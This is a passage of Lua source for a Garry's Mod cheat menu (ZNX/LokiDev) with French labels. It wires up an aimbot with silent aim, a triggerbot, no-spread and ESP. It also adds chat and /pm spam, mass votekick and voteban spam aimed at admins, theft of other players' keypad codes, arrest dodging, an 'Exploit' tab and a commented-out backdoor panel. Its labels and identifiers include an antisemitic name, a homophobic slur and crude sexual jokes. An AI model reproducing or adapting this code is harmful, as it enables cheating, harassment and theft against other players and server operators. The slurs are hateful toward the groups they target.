  1087. ZNX.MakeFunctionButton( General, 235, 550, "Mur Transparent", function() ZNX.ToggleWraithVision() end)
  1088. ZNX.MakeToggleButton( General, 120, 520, "PK Joueur Faisceau", "PKPlayerBeams", "Propkill Joueur Faisceau")
  1089. ZNX.MakeToggleButton( General, 235, 520, "PK Prop Faisceau", "PKPropBeams", "Propkill Prop Faisceau")
  1090. ZNX.MakeToggleButton( General, 350, 520, "PK Faisceau Verticale", "PKVerticalBeams", "PK Faisceau Verticale")
  1091. ZNX.MakeToggleButton( General, 5, 550, "PK Velocit�", "PKVelocity", "Propkill Velocit�")
  1092. ZNX.MakeToggleButton( General, 350, 550, "ClientSide Lampe", "CSFlashlight", "ClientSide Lampe")
  1093. ZNX.MakeFunctionButton( Utility, 120, 540, "Vitesse Physics Gun", function() physicgunspeed() end)
  1094. ZNX.MakeFunctionButton( General, 350, 10, "Menu des Joueurs", function() ZNX.PlayerMenu() end)
  1095. ZNX.MakeFunctionButton( General, 120, 10, "Couleur du Menu", function()
  1096. if ZNX.NumberVars.ColorScheme < #ZNX.DefaultSchemes then
  1097. ZNX.NumberVars.ColorScheme = ZNX.NumberVars.ColorScheme + 1
  1098. else
  1099. ZNX.NumberVars.ColorScheme = 1
  1100. end
  1101. ZNX.ChangeColorScheme( ZNX.NumberVars.ColorScheme )
  1102. end)
  1103. ZNX.MakeFunctionButton( General, 235, 10, "Entit� Menu", ZNX.EntMarkerMenu )
  1104. ZNX.MakeToggleButton( Utility, 235, 10, "Rapid Fire", "Autoclick", "Rapid Fire", "Faites tirez le bouton de tire votre souris a la vitesse maximale possible en les maintenant enfonc�s")
  1105. ZNX.MakeToggleButton( Utility, 120, 10, "Bunny Hop", "Bhop", "Bunny Hop")
  1106. ZNX.MakeToggleButton( Utility, 350, 10, "Spam de corde", "RopeStorm", "Spam de corde", "Clic droit avec le tool corde pour spammer une masse de cordes")
  1107. ZNX.MakeToggleButton( Utility, 5, 40, "3�me Personne", "Thirdperson", "3�me Personne")
  1108. --ZNX.MakeToggleButton( Utility, 5, 120, "Camera Spam", "CameraSpam", "Camera Spam")
  1109. ZNX.MakeToggleButton( Utility, 120, 150, "Anti Recul", "NoRecoil", "Anti Recul", "Enleve le recul des armes")
  1110. ZNX.MakeToggleButton( Utility, 235, 150, "Lampe Spam", "FlashlightSpam", "Lampe Spam", "Appuyez sur F pour spam la lampe")
  1111. ZNX.MakeSlider( Utility, 120, 40, 160, "3Pers Dist...", 0, 1000, "TPSDistance" )
  1112. ZNX.MakeSlider( Utility, 285, 40, 175, "3Pers Offs...", -100, 100, "TPSOffset" )
  1113. ZNX.MakeSlider( Utility, 235, 450, 225, "Taille de l'Alarme", 1, 100, "AreaScrollerSize" )
  1114. ZNX.MakeFunctionButton( Utility, 5, 150, "Inspectez votre arme", ZNX.GunMenu, "Afficher une page d'informations sur l'arme dans vos mains" )
  1115. ZNX.MakeFunctionButton( Utility, 120, 180, "Scanneur d'entit�", ZNX.ToggleEntityScanner, "Obtenez des informations d�taill�es et effectuez facilement des actions sur les entit�s sous votre curseur (utilisez F3 pour cliquer sur les boutons !!)" )
  1116. ZNX.MakeToggleButton( Utility, 350, 150, "Notifier les Kills", "NotifyKills", "Notifier les Kills", "Affiche les Kills dans le Chat")
  1117. --ZNX.Vars.NotifyKills
  1118. ZNX.MakeToggleButton( Utility, 5, 210, "Spammer le Chat", "ChatSpam", "Spammer le Chat", "Spam le chat")
  1119. ZNX.MakeToggleButton( Utility, 120, 210, "Spammer en OOC", "ChatSpamOOC", "Spammer en OOC", "Automatiquement mettre votre chat spam en mode OOC dans darkrp et la plupart des autres gamemodes rp")
  1120. ZNX.MakeToggleButton( Utility, 235, 210, "Bind pour Spammer", "ChatSpamBind", "Bind pour Spammer", "Chatspam seulement lorsque vous appuyez sur alt gauche")
  1121. --ZNX.MakeToggleButton( Utility, 350, 210, "Random Insults", "ChatSpamInsult", "Chatspam Random Insults", "Shower randomly generated abuse on everybody")
  1122. ZNX.MakeToggleButton( Utility, 350, 180, "/PM Mode", "ChatSpamPM", "/PM Spam Mode", "Spams /pm messages a tout le monde sur le serveur")
  1123. ZNX.MakeToggleButton( Utility, 350, 210, "/PM Admins", "ChatSpamPMAdmins", "/PM Spam Admins", "Devrions-nous /pm spam les admins ?")
  1124. ZNX.MakeFunctionButton( Utility, 235, 180, "Chatspam Commande", function()
  1125. ZNX.ChatText( "Commande Chatspam afficher dans votre console", Color(255,255,255) )
  1126. print( "---- CHAT SPAMMER COMMANDE ----" )
  1127. print( "@1 = Insulte al�atoire" )
  1128. print( "@PrenezLokidev = Message de promotion pour le menu ^^" )
  1129. print( "METTEZ-LES DANS LE CHAMP DE TEXTE CHATSPAMMER ET ILS SERONT FORMAT�S AUTOMATIQUEMENT EN TEXTE G�N�RALEMENT AL�ATOIRE")
  1130. end, "HALP HOW I USE DIS" )
  1131. ZNX.MakeFunctionButton( Utility, 5, 300, "Nouvelle Identit�", ZNX.InnocentRoleplayer, "Vous avez vu faire quelque chose de sournois, maintenant il est temps d'obtenir une nouvelle identit�\nSuicide et randomise votre nom, votre emploi et vos couleurs" )
  1132. ZNX.MakeFunctionButton( Utility, 235, 90, "NomRP Aleatoire ?", ZNX.GenerateRPName, "Comme vous avez la flemme de cr�e un bon rpname, cette fonction en produira un al�atoire pour vous" )
  1133. ZNX.MakeFunctionButton( Utility, 350, 90, "NomRP Aleatoire ?", ZNX.GenerateRPNameFemale, "Tu veux devenir une fille pour que tu puisses prendre des bites dans ton cul ? x)" )
  1134. ZNX.MakeToggleButton( Utility, 5, 330, "RP Demote Spam", "DemoteSpam", "RP Demote Spam", "Spam demote tout le monde sur le serveur")
  1135. ZNX.MakeToggleButton( Utility, 120, 300, "RP Wanted Spam", "WantedSpam", "RP Wanted Spam", "Rendez tout le monde recherch� par la police")
  1136. ZNX.MakeToggleButton( Utility, 235, 300, "ULX Vkick Spam", "ULXVotekickSpam", "ULX Vkick Spam", "Votekick tout le monde sur le serveur :^)")
  1137. ZNX.MakeToggleButton( Utility, 350, 300, "ULX Vban Spam", "ULXVotebanSpam", "ULX Vban Spam", "Voteban tout le monde sur le serveur :^)")
  1138. ZNX.MakeFunctionButton( Utility, 5, 10, "Commande Info Menu", function() ShowLokidevInfo () end, "Commande Info Menu")
  1139. ZNX.MakeToggleButton( Utility, 120, 330, "Kill Provocation", "KillTaunts", "Kill Provocation", "Chat provocation automatique quand vous tuez quelqu'un")
  1140. ZNX.MakeToggleButton( Utility, 5, 180, "Tire Ennemi Viseur", "Triggerbot", "Tire Ennemi Viseur", "Tirez automatiquement lorsque vous regardez quelqu'un")
  1141. ZNX.MakeToggleButton( Utility, 235, 330, "Mort Provocation", "DeathTaunts", "Mort Provocation", "Chat provocation automatique quand vous mourrez")
  1142. ZNX.MakeFunctionButton( Utility, 5, 450, "Ajouter une Alarme", function() RunConsoleCommand("LokiDev_base_set") end, "D�finir une base pour vous avertir si les gens s'en approchent" )
  1143. ZNX.MakeFunctionButton( Utility, 120, 450, "Enlever l'Alarme", function() RunConsoleCommand("LokiDev_base_remove") end, "Supprimer la base" )
  1144. ZNX.MakeToggleButton( Utility, 350, 330, "Keypad Juif", "KeypadJew", "Keypad Juif", "Voler les codes des keypads des joueurs pour rentrer dans leur base")
  1145. ZNX.MakeToggleButton( Utility, 5, 420, "RP Anti Arrestation", "DodgeArrest", "RP Anti Arrestation", "Se suicide automatiquement si quelqu'un essaie de vous frapper avec un b�ton d'arrestation")
  1146. ZNX.MakeToggleButton( Utility, 120, 420, "Mort = Changer Nom", "NewLifeRule", "Mort = Changer Nom", "Changer automatiquement de nomrp quand vous mourrez")
  1147. ZNX.MakeToggleButton( Utility, 235, 420, "Dodge Physgun", "DontTouchMeThere", "Suicide When PhysGunned", "Don't touch me there, that's my private place")
  1148. ZNX.MakeFunctionButton( Utility, 235, 420, "Anti Anti-AFK", function() RunConsoleCommand("fgtnoafk") end, "Anti Anti-AFK")
  1149. ZNX.MakeFunctionButton( Utility, 350, 420, "Clientside NoClip", function() ZNX.Toggle() end, "Clientside NoClip")
  1150. ZNX.MakeFunctionButton( Utility, 5, 540, "FPS Booster", function() StopLAG() end, "FPS Booster")
  1151. ZNX.MakeToggleButton( Utility, 350, 570, "Rechargement Auto", "AutoReload", "Rechargement Auto", "Rechargement Automatique")
  1152. ZNX.MakeToggleButton( Utility, 235, 570, "Anti Chute D�g�t", "SafeJump", "Anti Chute D�g�t", "System qui fait spawn un props a vos pied des que vous etes proche du sol\nUtilis� Touche pour Anti Chute D�g�t + activ� moi ")
  1153. local ttttt = vgui.Create( "DLabel", Utility )
  1154. ttttt:SetPos( 16, 568 )
  1155. ttttt:SetText( "Touche pour \nAnti Chute D�g�t :" )
  1156. ttttt:SizeToContents()
  1157. ZNX.MakeKeyBinder( Utility, 120, 570, 110, 25, "SafeJumpBindKey", "falldamage" )--]]
  1158. ZNX.MakeToggleButton( Botsettings, 5, 10, "Aimbot Normal", "Aimbot", "Aimbot Normal", "Activ� / D�sactiv� le Aimbot Normal\nQuand le Aimbot Normal et activ� l'ancien aimbot se d�sactive tout seul !!!")
  1159. ZNX.MakeToggleButton( Botsettings, 120, 40, "Aimbot quand tu Tire", "SnapOnFire", "Aimbot quand tu Tire", "Active le aimbot quand tu appuye sur tir�")
  1160. ZNX.MakeToggleButton( Botsettings, 5, 40, "Tire Automatique", "AutoShoot", "Tire Automatique", "Votre aimbot fait maintenant tout le travail pour vous, vous pouvez maintenant afk et vous masturber x)")
  1161. --ZNX.MakeToggleButton( Botsettings, 350, 70, "Rapid Fire", "AutoTrigger", "Rapid Fire", "Spams the trigger on semi auto weapons when locked on and holding left click")
  1162. ZNX.MakeToggleButton( Botsettings, 235, 220, "Touche Aimbot", "AimbotBindMode", "Touche Aimbot", "Active le aimbot quand la touche et pr�sser je conseil de l'activ� pour etre plus legit")
  1163. ZNX.MakeToggleButton( Botsettings, 235, 40, "M9K Travers Mur", "AimbotWallbanger", "M9K Travers Mur", "Aimbot les joueurs si le pistolet actuel est capable de p�n�trer dans le mur / l'objet qu'ils sont cach� derri�re")
  1164. ZNX.MakeToggleButton( Botsettings, 235, 10, "Afficher Position Cible", "PreviewTarget", "Afficher Position Cible", "Affiche la position actuelle / suivante sur laquelle le aimbot se verrouille")
  1165. ZNX.MakeToggleButton( Botsettings, 350, 10, "Pas de Propagation", "CompSpread", "Pas de Propagation", "Fonctionne avec m9k, hl2, ttt, et quelques autres bases d'armes simples. Ne fonctionne pas avec fas2 ou cw2 !!")
  1166. ZNX.MakeToggleButton( Botsettings, 350, 40, "Silent Aim", "SilentAim", "Silent Aim", "Alors, le silent aim c'est un system qui permet de pouvoir aimbot des joueurs meme quand vous les regarder pas,\nAbus� avec un fov de 180, je conseil de mettre un fv pas trop �lever genre 20-40")
  1167. ZNX.MakeToggleButton( Botsettings, 235, 70, "Ciblage Adaptatif", "AimbotAdaptiveTarget", "Ciblage Adaptatif", "Tirez sur n'importe quelle partie de leur corps qui est expos�e, pas seulement leur t�te.\nTotalement abus� lorsqu'il est associ� a Pas de Propagation et M9K Travers Mur")
  1168. ZNX.MakeToggleButton( Botsettings, 5, 160, "Cibler les Amis", "TargetFriends", "Cibler les Amis", "Voulez-vous vraiment trahir vos amis comme �a? :(")
  1169. ZNX.MakeToggleButton( Botsettings, 120, 160, "Cibler les Admins", "TargetAdmins", "Cibler les Admins", "Fait pleurer qu'elle que admins lol")
  1170. ZNX.MakeToggleButton( Botsettings, 235, 160, "Cibler m�me �quipe", "TargetSameTeam", "Cibler m�me �quipe", "Voulez-vous trahir votre �quipe?")
  1171. ZNX.MakeToggleButton( Botsettings, 350, 160, "Cibler que les Cibles", "TargetHighlighted", "Cibler que les Cibles", "Pour tu� les cibles seulement")
  1172. ZNX.MakeToggleButton( Botsettings, 120, 190, "Cibler les Noclippeurs", "TargetNoclippers", "Cibler les Noclippeurs", "Vous ne pouvez g�n�ralement pas les tuer de toute fa�on, alors pourquoi s'emb�ter?")
  1173. ZNX.MakeToggleButton( Botsettings, 5, 190, "Pr�f�rez Tire Tete", "AimbotTargetMode", "Pr�f�rez Tire Tete", "Ciblez les t�tes ou allez directement au centre ?")
  1174. ZNX.MakeToggleButton( Botsettings, 235, 190, "Maintenir la Cible", "AimbotStickyLock", "Maintenir la Cible", "Aimbot ne changera pas de cible tant que la cible actuelle n'est pas morte ou n'est plus visible sur votre fov")
  1175. ZNX.MakeToggleButton( Botsettings, 350, 190, "Cibler que le Murder", "TargetMurder", "Cibler que le Murder", "Cibler uniquement le murder?\nFonctionne uniquement dans le gamemode murder!!!!")
  1176. ZNX.MakeFunctionButton( Botsettings, 120, 10, "Ancien Aimbot", function() AA:OpenMenu() end, "L'ancien aimbot fonctionne mieux sur l'arme Crossbow sinon pour toutes les autre armes le Aimbot normal est largement mieux !")
  1177. local tttt = vgui.Create( "DLabel", Botsettings )
  1178. tttt:SetPos( 15, 225 )
  1179. tttt:SetText( "Touche du Aimbot:" )
  1180. tttt:SizeToContents()
  1181. ZNX.MakeKeyBinder( Botsettings, 120, 220, 110, 25, "AimbotBindKey", "aimbot" )
  1182. ZNX.MakeSlider( Botsettings, 5, 70, 225, "Vitesse de Vis�e", 0, 30, "AimbotSmooth" )
  1183. ZNX.MakeSlider( Botsettings, 5, 100, 225, "Distance Maximum", 0, 9999, "AimbotDist" )
  1184. ZNX.MakeSlider( Botsettings, 235, 100, 225, "Champ de Vision", 0.1, 180, "AimbotMaxFOV" )
  1185. local TextEntry = vgui.Create( "DTextEntry", Utility )
  1186. TextEntry:SetPos( 5, 90 )
  1187. TextEntry:SetSize( 225, 25 )
  1188. TextEntry:SetText( ZNX.NameStealName )
  1189. TextEntry.OnEnter = function( self )
  1190. ZNX.NameStealName = self:GetValue()
  1191. timer.Simple(1,function() LocalPlayer():ConCommand("say /rpname "..self:GetValue().." ") end)
  1192. if ZNX.Vars.Notifications then ZNX.ChatText( "Set my name to: "..self:GetValue(), Color(255,255,255) ) end
  1193. end
  1194. local TextEntry = vgui.Create( "DTextEntry", Utility )
  1195. TextEntry:SetPos( 5, 240 )
  1196. TextEntry:SetSize( 450, 25 )
  1197. TextEntry:SetText( ZNX.ChatSpamText )
  1198. TextEntry.OnEnter = function( self )
  1199. ZNX.ChatSpamText = self:GetValue()
  1200. if ZNX.Vars.Notifications then ZNX.ChatText( "Message de chatspam d�fini sur: "..self:GetValue(), Color(255,255,255) ) end
  1201. end
  1202. ZNX.MakeFunctionButton( Debug, 5, AceMenu:GetTall() - 110, "Effacer la Console", function() table.Empty(ZNX.Debug) end)
  1203. ZNX.MakeFunctionButton( Debug, 120, AceMenu:GetTall() - 110, "Ajouter le Serveur", function() ZNX.AddServer() end)
  1204. ZNX.MakeFunctionButton( Debug, 235, AceMenu:GetTall() - 110, "Afficher Serveur(s)", function() ZNX.LoadServeur() end)
  1205. ZNX.MakeFunctionButton( Debug, 350, AceMenu:GetTall() - 110, "Supprimer Serveur(s)", function() ZNX.DeleteServeur() end)
  1206. --ZNX.MakeFunctionButton( Debug, 235, Menu:GetTall() - 110, "Game Event Logging", function() end)
  1207. --ZNX.MakeFunctionButton( Debug, 350, Menu:GetTall() - 110, "Extensive Logging", function() end)
  1208. PropertySheet:AddSheet( "ESP", General, "icon16/zoom.png", false, false, "ESP/Xray/HUD" )
  1209. --PropertySheet:AddSheet( "Vision Advanced", General2, "icon16/zoom_in.png", false, false, "ESP/Xray/HUD settings" )
  1210. PropertySheet:AddSheet( "Utilitaire", Utility, "icon16/wrench.png", false, false, "Outils et utilitaires" )
  1211. PropertySheet:AddSheet( "Aimbot", Botsettings, "icon16/bomb.png", false, false, "Param�tre Aimbot" )
  1212. PropertySheet:AddSheet( "Exploit", Exploit, "icon16/bug.png", false, false, "Lua Exploit" )
  1213. --PropertySheet:AddSheet( "Backdoor", Backdoor, "icon16/door_in.png", false, false, "Control panel for the Wraithnet/HTX serverside backdoor" )
  1214. PropertySheet:AddSheet( "Debug", Debug, "icon16/printer.png", false, false, "Debug Console" )
  1215. LocalPlayer():EmitSound("vo/npc/male01/excuseme02.wav",100,150)
  1216. else
  1217. LocalPlayer():EmitSound("vo/npc/male01/excuseme02.wav",100,150)
  1218. LocalPlayer():EmitSound("vo/npc/male01/excuseme02.wav",100,150)
  1219. LocalPlayer():EmitSound("vo/npc/male01/excuseme02.wav",100,150)
  1220. LocalPlayer():EmitSound("vo/npc/male01/excuseme02.wav",100,150)
  1221. LocalPlayer():EmitSound("vo/npc/male01/excuseme02.wav",100,150)
  1222. LocalPlayer():EmitSound("vo/npc/male01/excuseme02.wav",100,150)
  1223. return end
  1224. end
  1225. concommand.Add("LokiDevs_Menu", ZNX.Menu)
  1226. ------------------------------------------------------------------------DEBUG CONSOLE SHIT--------------------------------------------------------------------------------------
  1227. function ZNX.DebugLog( str, col )
  1228. table.insert(ZNX.Debug, {str, col})
  1229. if #ZNX.Debug > 40 then
  1230. table.remove( ZNX.Debug, 1 )
  1231. end
  1232. end
  1233. ------------------------------------------------------------------------ENT MARKER MENU--------------------------------------------------------------------------------------
  1234. -- Simple Anti AFK Script / Load before it bug
  1235. local oneTwo = false
  1236. local preventAfk = false
  1237. local function moveAround()
  1238. if oneTwo then
  1239. RunConsoleCommand( "+forward" )
  1240. RunConsoleCommand( "+right" )
  1241. timer.Simple( 0.5, function()
  1242. RunConsoleCommand( "-forward" )
  1243. RunConsoleCommand( "-right" )
  1244. LocalPlayer():SetEyeAngles(LocalPlayer():EyeAngles() + Angle(math.Rand(-20,20),math.Rand(-180,180),0))
  1245. oneTwo = !oneTwo
  1246. end )
  1247. else
  1248. RunConsoleCommand( "+back" )
  1249. RunConsoleCommand( "+left" )
  1250. timer.Simple( 0.5, function()
  1251. RunConsoleCommand( "-back" )
  1252. RunConsoleCommand( "-left" )
  1253. oneTwo = !oneTwo
  1254. end )
  1255. end
  1256. end
  1257. local function runLoop()
  1258. if preventAfk then moveAround() end
  1259. timer.Simple( 1, runLoop )
  1260. end
  1261. timer.Simple( 1, runLoop )
  1262. concommand.Add( "fgtnoafk", function( ply, cmd, args )
  1263. preventAfk = !preventAfk
  1264. end )
  1265. local OtherEnts = {}
  1266. function ZNX.EntMarkerMenu()
  1267. if EMenu then return end
  1268. table.Empty(OtherEnts)
  1269. for k,v in pairs(ents.GetAll()) do
  1270. local addToAllEnts = true
  1271. for i,p in pairs(ZNX.MarkedEnts) do
  1272. if p == v:GetClass() then
  1273. addToAllEnts = false
  1274. end
  1275. end
  1276. for i,p in pairs(OtherEnts) do
  1277. if p == v:GetClass() then
  1278. addToAllEnts = false
  1279. end
  1280. end
  1281. if addToAllEnts then
  1282. table.insert(OtherEnts, v:GetClass())
  1283. end
  1284. end
  1285. local EMenu = vgui.Create("DFrame")
  1286. EMenu:SetSize(500,485)
  1287. EMenu:SetTitle("Entit� Menu")
  1288. EMenu:Center()
  1289. EMenu:MakePopup()
  1290. EMenu.Paint = function()
  1291. surface.SetDrawColor( ZNX.DefaultScheme )
  1292. surface.DrawRect( 0, 0, EMenu:GetWide(), EMenu:GetTall() )
  1293. surface.SetDrawColor( Color(155, 155, 155, 255) )
  1294. surface.DrawOutlinedRect( 0, 0, EMenu:GetWide(), EMenu:GetTall() )
  1295. surface.DrawOutlinedRect( 1, 1, EMenu:GetWide() - 2, EMenu:GetTall() - 2 )
  1296. surface.SetDrawColor( Color(0, 0, 0, 200) )
  1297. surface.DrawRect( 10, 25, EMenu:GetWide() - 20, EMenu:GetTall() - 35 )
  1298. end
  1299. DermaList = vgui.Create( "DPanelList", EMenu )
  1300. DermaList:SetPos( 25,35 )
  1301. DermaList:SetSize( 500, 400 )
  1302. DermaList:SetSpacing( 75 )
  1303. DermaList:EnableHorizontal( false )
  1304. DermaList:EnableVerticalScrollbar( true )
  1305. local SelectedEnts = vgui.Create("DListView")
  1306. SelectedEnts:SetSize(220, 335)
  1307. SelectedEnts:SetPos(0, 0)
  1308. SelectedEnts:SetMultiSelect(false)
  1309. SelectedEnts:AddColumn("Entit� afficher dans ESP")
  1310. for k,v in SortedPairs(ZNX.MarkedEnts, false) do
  1311. SelectedEnts:AddLine(v)
  1312. end
  1313. SelectedEnts.DoDoubleClick = function(parent, index, list)
  1314. table.remove(ZNX.MarkedEnts, index)
  1315. EMenu:rebuildlists()
  1316. end
  1317. DermaList:Add(SelectedEnts)
  1318. local AllEnts = vgui.Create("DListView")
  1319. AllEnts:SetSize(220, 335)
  1320. AllEnts:SetPos(230, 0)
  1321. AllEnts:SetMultiSelect(false)
  1322. AllEnts:AddColumn("Entit� non afficher dans ESP")
  1323. for k,v in SortedPairs(OtherEnts, false) do
  1324. AllEnts:AddLine(v)
  1325. end
  1326. AllEnts.DoDoubleClick = function(parent, index, panel )
  1327. table.insert(ZNX.MarkedEnts, OtherEnts[index])
  1328. EMenu:rebuildlists()
  1329. end
  1330. DermaList:Add(AllEnts)
  1331. function EMenu:rebuildlists()
  1332. table.Empty(OtherEnts)
  1333. for k,v in pairs(ents.GetAll()) do
  1334. local addToAllEnts = true
  1335. for i,p in pairs(ZNX.MarkedEnts) do
  1336. if p == v:GetClass() then
  1337. addToAllEnts = false
  1338. end
  1339. end
  1340. for i,p in pairs(OtherEnts) do
  1341. if p == v:GetClass() then
  1342. addToAllEnts = false
  1343. end
  1344. end
  1345. if addToAllEnts then
  1346. table.insert(OtherEnts, v:GetClass())
  1347. end
  1348. end
  1349. AllEnts:Clear()
  1350. SelectedEnts:Clear()
  1351. for k,v in SortedPairs(OtherEnts, false) do
  1352. AllEnts:AddLine( v )
  1353. end
  1354. for k,v in SortedPairs(ZNX.MarkedEnts, false) do
  1355. SelectedEnts:AddLine( v )
  1356. end
  1357. end
  1358. ZNX.MakeFunctionButton( EMenu, 25, 380, "Ajouter les Printers", function()
  1359. for k,v in pairs(ents.GetAll()) do
  1360. if string.find(v:GetClass(), "custom_printer") or string.find(v:GetClass(), "rprint") or string.find(v:GetClass(), "bit_miner") or string.find(v:GetClass(), "*_printer") or string.find(v:GetClass(), "print") or string.find(v:GetClass(), "br_money") or string.find(v:GetClass(), "*_money") or string.find(v:GetClass(), "adrug_weed") or string.find(v:GetClass(), "cox_cocaine") or string.find(v:GetClass(), "*_money_printer") or string.find(v:GetClass(), "*_money") or string.find(v:GetClass(), "atila_argent_sale") or string.find(v:GetClass(), "atila_farine_cultivateur") or string.find(v:GetClass(), "rein_kidney") or string.find(v:GetClass(), "atila_machine_blanchisseur") or string.find(v:GetClass(), "*_printer_*") and !table.HasValue(ZNX.MarkedEnts, v:GetClass()) then
  1361. table.insert(ZNX.MarkedEnts, v:GetClass())
  1362. end
  1363. end
  1364. EMenu:rebuildlists()
  1365. end, "Trouve tout ce qui ressemble a un printer")
  1366. ZNX.MakeFunctionButton( EMenu, 140, 380, "Ajouter les Armes", function()
  1367. for k,v in pairs(ents.GetAll()) do
  1368. if (string.find(v:GetClass(), "weap") or string.find(v:GetClass(), "fas2") or string.find(v:GetClass(), "m9k") or string.find(v:GetClass(), "cw")) and !table.HasValue(ZNX.MarkedEnts, v:GetClass()) then
  1369. table.insert(ZNX.MarkedEnts, v:GetClass())
  1370. end
  1371. end
  1372. EMenu:rebuildlists()
  1373. end, "Trouve tout ce qui ressemble a des armes")
  1374. ZNX.MakeFunctionButton( EMenu, 255, 380, "Ajouter les Vehicles", function()
  1375. for k,v in pairs(ents.GetAll()) do
  1376. if v:IsVehicle() and !table.HasValue(ZNX.MarkedEnts, v:GetClass()) then
  1377. table.insert(ZNX.MarkedEnts, v:GetClass())
  1378. end
  1379. end
  1380. EMenu:rebuildlists()
  1381. end, "Trouve tout ce qui ressemble a des vehicles")
  1382. ZNX.MakeFunctionButton( EMenu, 370, 380, "Ajouter les Loots", function()
  1383. for k,v in pairs(ents.GetAll()) do
  1384. if (string.find(v:GetClass(), "item") or string.find(v:GetClass(), "loot")) and !table.HasValue(ZNX.MarkedEnts, v:GetClass()) then
  1385. table.insert(ZNX.MarkedEnts, v:GetClass())
  1386. end
  1387. end
  1388. EMenu:rebuildlists()
  1389. end, "Trouve tout ce qui ressemble a des loots / items (utile pour gmod dayz)")
  1390. ZNX.MakeFunctionButton( EMenu, 25, 410, "DarkRP Entit�s", function()
  1391. for k,v in pairs(ents.GetAll()) do
  1392. if v:GetClass() == "spawned_shipment" or v:GetClass() == "spawned_money" or v:GetClass() == "spawned_weapon" or v:GetClass() == "police_armory" or v:GetClass() == "spawned_ammo" or v:GetClass() == "spawned_food" and !table.HasValue(ZNX.MarkedEnts, v:GetClass()) then
  1393. table.insert(ZNX.MarkedEnts, v:GetClass() )
  1394. end
  1395. end
  1396. EMenu:rebuildlists()
  1397. end, "Trouve tout ce qui ressemble a des entit�s DarkRP (armes, argent, shipments etc)")
  1398. ZNX.MakeFunctionButton( EMenu, 370, 410, "Effacer la liste", function()
  1399. ZNX.MarkedEnts = {}
  1400. EMenu:rebuildlists()
  1401. end, "Effacer la liste des entit�s afficher")
  1402. local turd = vgui.Create( "DLabel", EMenu )
  1403. turd:SetPos( 25, 447 )
  1404. turd:SetText( "Recherche classes : " )
  1405. turd:SizeToContents()
  1406. local target4 = vgui.Create( "DTextEntry", EMenu )
  1407. target4:SetPos( 125, 442 )
  1408. target4:SetSize( 255, 25 )
  1409. target4:SetText( "" )
  1410. target4.OnChange = function( self )
  1411. local nam = self:GetValue()
  1412. if nam == "" then
  1413. ZNX.MarkedEnts = {}
  1414. EMenu:rebuildlists()
  1415. return
  1416. end
  1417. local namtab = string.Explode( ", ", nam )
  1418. ZNX.MarkedEnts = {}
  1419. for _, en in pairs( ents.GetAll() ) do
  1420. for _, s in pairs( namtab ) do
  1421. if string.find( string.lower( en:GetClass() ), s, 1, true ) then
  1422. if !table.HasValue( ZNX.MarkedEnts, en:GetClass() ) then table.insert( ZNX.MarkedEnts, en:GetClass() ) end
  1423. end
  1424. end
  1425. end
  1426. EMenu:rebuildlists()
  1427. end
  1428. end
  1429. concommand.Add("LokiDev_ents", ZNX.EntMarkerMenu)
  1430. ------------------------------------------------------------------------PLAYERS MENU--------------------------------------------------------------------------------------
  1431. function ZNX.PlayerMenu()
  1432. if PMenu then return end
  1433. local PMenu = vgui.Create("DFrame")
  1434. PMenu:SetSize(590,420)
  1435. PMenu:SetTitle("Players menu")
  1436. PMenu:Center()
  1437. PMenu:MakePopup()
  1438. PMenu.Paint = function()
  1439. surface.SetDrawColor( ZNX.DefaultScheme )
  1440. surface.DrawRect( 0, 0, PMenu:GetWide(), PMenu:GetTall() )
  1441. surface.SetDrawColor( Color(155, 155, 155, 255) )
  1442. surface.DrawOutlinedRect( 0, 0, PMenu:GetWide(), PMenu:GetTall() )
  1443. surface.DrawOutlinedRect( 1, 1, PMenu:GetWide() - 2, PMenu:GetTall() - 2 )
  1444. surface.SetDrawColor( Color(0, 0, 0, 200) )
  1445. surface.DrawRect( 10, 25, PMenu:GetWide() - 20, PMenu:GetTall() - 35 )
  1446. end
  1447. local Plist = vgui.Create( "DPanelList", PMenu )
  1448. Plist:SetSize( 560, 370 )
  1449. Plist:SetPadding( 5 )
  1450. Plist:SetSpacing( 5 )
  1451. Plist:EnableHorizontal( false )
  1452. Plist:EnableVerticalScrollbar( true )
  1453. Plist:SetPos( 10, 25 )
  1454. Plist:SetName( "" )
  1455. for k, v in pairs( player.GetAll() ) do
  1456. if v == LocalPlayer() then continue end
  1457. local plypanel2 = vgui.Create( "DPanel" )
  1458. plypanel2:SetPos( 0, 0 )
  1459. plypanel2:SetSize( 480, 40 )
  1460. plypanel2.Paint = function() -- Paint function
  1461. draw.RoundedBoxEx(8,1,1,plypanel2:GetWide(),plypanel2:GetTall(),Color(0, 0, 0, 150), false, false, false, false)
  1462. surface.SetDrawColor( ZNX.DefaultScheme )
  1463. surface.DrawOutlinedRect(1, 1, plypanel2:GetWide() - 1 , plypanel2:GetTall() - 1)
  1464. end
  1465. local plyname = vgui.Create( "DLabel", plypanel2 )
  1466. plyname:SetPos( 15, 5 )
  1467. plyname:SetFont( "Trebuchet18" )
  1468. plyname:SetColor( team.GetColor(v:Team()) )
  1469. plyname:SetText( "Nom: "..v:Nick() )
  1470. plyname:SetSize(180, 15)
  1471. if ZNX.GetRank(v) != ( "user" or "guest" or "player" ) then
  1472. local rtxt = vgui.Create( "DLabel", plypanel2 )
  1473. rtxt:SetPos( 15, 20 )
  1474. rtxt:SetFont( "Trebuchet18" )
  1475. rtxt:SetColor( Color(255,100,0,255) )
  1476. rtxt:SetText( "Grade: "..ZNX.GetRank(v) )
  1477. rtxt:SetSize(180, 15)
  1478. end
  1479. local faggot = vgui.Create("DButton", plypanel2)
  1480. faggot:SetSize( 45, 25 )
  1481. faggot:SetPos( 200, 8 )
  1482. faggot:SetText("Profile")
  1483. faggot:SetTextColor(Color(255, 255, 255, 255))
  1484. faggot.Paint = function(panel, w, h)
  1485. surface.SetDrawColor(100, 100, 200 ,255)
  1486. surface.DrawOutlinedRect(0, 0, w, h)
  1487. surface.SetDrawColor(0, 0, 50 ,155)
  1488. surface.DrawRect(0, 0, w, h)
  1489. end
  1490. faggot.DoClick = function()
  1491. ZNX.ChatText( "Ouverture de la page steam de: "..v:Nick().." ("..v:SteamID()..")", Color(255,255,255) )
  1492. v:ShowProfile()
  1493. surface.PlaySound("buttons/button7.wav")
  1494. end
  1495. local faggot = vgui.Create("DButton", plypanel2)
  1496. faggot:SetSize( 45, 25 )
  1497. faggot:SetPos( 250, 8 )
  1498. faggot:SetText("Muet")
  1499. faggot:SetTextColor(Color(255, 255, 255, 255))
  1500. faggot.Paint = function(panel, w, h)
  1501. if !v:IsValid() then return end
  1502. if v:IsMuted() then
  1503. surface.SetDrawColor(200, 100, 000 ,255)
  1504. else
